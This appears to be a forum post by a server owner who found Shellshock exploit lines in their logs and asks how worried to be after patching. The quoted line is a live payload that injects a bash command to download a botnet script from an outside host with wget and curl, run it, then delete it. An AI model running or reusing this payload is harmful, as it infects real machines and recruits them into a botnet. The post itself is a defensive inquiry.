"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""
I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it?
I think this could have happened before I patched & rebooted. How worried should I be?
Did some searching, looks like it tries to set up a botnet. One of the things this does is install nmap; the machine doesn't have nmap on it, makes me feel better.